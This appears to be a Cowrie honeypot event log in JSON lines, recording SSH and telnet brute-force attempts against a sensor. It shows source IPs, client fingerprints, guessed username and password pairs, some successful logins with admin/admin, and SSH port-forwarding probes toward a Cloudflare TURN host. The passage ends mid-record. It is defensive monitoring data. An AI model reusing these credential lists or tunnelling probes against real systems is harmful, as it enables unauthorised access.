{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:29.470863Z","src_ip":"193.46.255.86","session":"1d28144c0d80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.314555883407593,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:28:32.439919Z","src_ip":"87.241.172.204","session":"9b1cc7910ba1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47222,"dst_ip":"159.203.135.109","dst_port":22,"session":"fd9a26d444e3","protocol":"ssh","message":"New connection: 159.203.92.129:47222 (159.203.135.109:22) [session: fd9a26d444e3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:11.525008Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:11.529264Z","src_ip":"159.203.92.129","session":"fd9a26d444e3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:11.533547Z","src_ip":"159.203.92.129","session":"fd9a26d444e3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2026","message":"login attempt [admin1/admin1@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:11.547893Z","src_ip":"159.203.92.129","session":"fd9a26d444e3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:12.555012Z","src_ip":"159.203.92.129","session":"fd9a26d444e3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":49830,"dst_ip":"159.203.135.109","dst_port":22,"session":"37b9ed0ab32b","protocol":"ssh","message":"New connection: 45.120.216.232:49830 (159.203.135.109:22) [session: 37b9ed0ab32b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:14.656554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:14.664371Z","src_ip":"45.120.216.232","session":"37b9ed0ab32b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:14.876177Z","src_ip":"45.120.216.232","session":"37b9ed0ab32b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":60928,"dst_ip":"10.17.0.5","dst_port":22,"session":"8c6bdab6f695","protocol":"ssh","message":"New connection: 161.132.4.167:60928 (10.17.0.5:22) [session: 8c6bdab6f695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:15.562994Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"teste2023","message":"login attempt [root/teste2023] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:15.763738Z","src_ip":"45.120.216.232","session":"37b9ed0ab32b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:15.813843Z","src_ip":"161.132.4.167","session":"8c6bdab6f695","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:16.979638Z","src_ip":"45.120.216.232","session":"37b9ed0ab32b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44520,"dst_ip":"159.203.135.109","dst_port":22,"session":"8403b0da534e","protocol":"ssh","message":"New connection: 45.148.10.121:44520 (159.203.135.109:22) [session: 8403b0da534e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:20.963176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:20.968110Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.046183Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.273533Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.351459Z","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.428527Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.432417Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.510525Z","src_ip":"45.148.10.121","session":"8403b0da534e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.121","src_port":44528,"dst_ip":"159.203.135.109","dst_port":22,"session":"91191bc32bdb","protocol":"ssh","message":"New connection: 45.148.10.121:44528 (159.203.135.109:22) [session: 91191bc32bdb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.589857Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.594528Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"bf7dbf67fa9b26ee9f9deb99c49320ba","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc,arcfour256,arcfour128,arcfour;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256","rsa-sha2-512","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc","arcfour256","arcfour128","arcfour"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: bf7dbf67fa9b26ee9f9deb99c49320ba","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.674041Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:21.914270Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"141.101.90.1","dst_port":3478,"src_ip":"45.148.10.121","src_port":0,"message":"direct-tcp connection request to 141.101.90.1:3478 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:22.000688Z","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"141.101.90.1","dst_port":3478,"ja4h":"ge11nn020000_8d35d308f07e_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 141.101.90.1:3478: ge11nn020000_8d35d308f07e_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:22.083709Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"141.101.90.1","dst_port":3478,"data":"b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","id":0,"message":"discarded direct-tcp forward request 0 to 141.101.90.1:3478 with data b'GET / HTTP/1.1\\r\\nHost: turn.cloudflare.com:3478\\r\\nConnection: close\\r\\n\\r\\n'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:22.087343Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:22.169843Z","src_ip":"45.148.10.121","session":"91191bc32bdb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":60936,"dst_ip":"10.17.0.5","dst_port":22,"session":"d3f874142ec3","protocol":"ssh","message":"New connection: 161.132.4.167:60936 (10.17.0.5:22) [session: d3f874142ec3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:23.105682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:23.115435Z","src_ip":"161.132.4.167","session":"d3f874142ec3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:23.200047Z","src_ip":"161.132.4.167","session":"d3f874142ec3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123","message":"login attempt [root/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:23.747894Z","src_ip":"161.132.4.167","session":"d3f874142ec3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:24.843784Z","src_ip":"161.132.4.167","session":"d3f874142ec3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50196,"dst_ip":"159.203.135.109","dst_port":22,"session":"22688f59ff5d","protocol":"ssh","message":"New connection: 159.203.92.129:50196 (159.203.135.109:22) [session: 22688f59ff5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:55.281635Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:55.286920Z","src_ip":"159.203.92.129","session":"22688f59ff5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:55.294960Z","src_ip":"159.203.92.129","session":"22688f59ff5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1admin1","message":"login attempt [admin1/admin1admin1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:55.307247Z","src_ip":"159.203.92.129","session":"22688f59ff5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:29:56.315353Z","src_ip":"159.203.92.129","session":"22688f59ff5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":57186,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8026505e0e8","protocol":"ssh","message":"New connection: 161.132.4.167:57186 (10.17.0.5:22) [session: f8026505e0e8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:11.318474Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:30:11.619012Z","src_ip":"161.132.4.167","session":"f8026505e0e8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arc